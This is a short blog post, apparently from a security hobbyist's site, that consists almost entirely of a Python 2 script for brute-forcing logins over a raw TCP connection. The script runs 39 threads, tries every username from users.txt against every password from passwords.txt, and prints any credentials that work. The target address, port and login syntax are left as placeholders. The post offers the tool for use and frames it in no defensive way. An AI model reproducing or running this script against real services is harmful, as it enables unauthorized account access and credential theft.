Multi-Threaded Brute Forcer 发表于 2016-01-21 | 分类于 随便写写 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#!/usr/bin/python import threadingimport Queueimport socket usernameList = open('users.txt','r').read().splitlines()passwordList = open('passwords.txt','r').read().splitlines() class WorkerThread(threading.Thread) : def __init__(self, queue, tid) : threading.Thread.__init__(self) self.queue = queue self.tid = tid def run(self) : while True : username = None try : username = self.queue.get(timeout=1) except Queue.Empty : return try : for password in passwordList: tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcpSocket.connect(('### IP Address ###',### Port ###)) tcpSocket.recv(1024) tcpSocket.send("### Syntax that allows login ###") if '### Fail Response ###' in tcpSocket.recv(1024): tcpSocket.close() print "Failed " + username + "/" + password else: print "[+] Successful Login! Username: " + username + " Password: " + password except : raise self.queue.task_done() queue = Queue.Queue() threads = []for i in range(1, 40) : # Number of threads worker = WorkerThread(queue, i) worker.setDaemon(True) worker.start() threads.append(worker) for username in usernameList : queue.put(username) # Push usernames onto queue queue.join() # wait for all threads to exit for item in threads : item.join() print "Testing Complete!" ------本文结束,感谢阅读------ 本文作者: Evi1cg 本文链接: https://evi1cg.github.io/archives/Multi-Threaded_Brute_Forcer.html 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!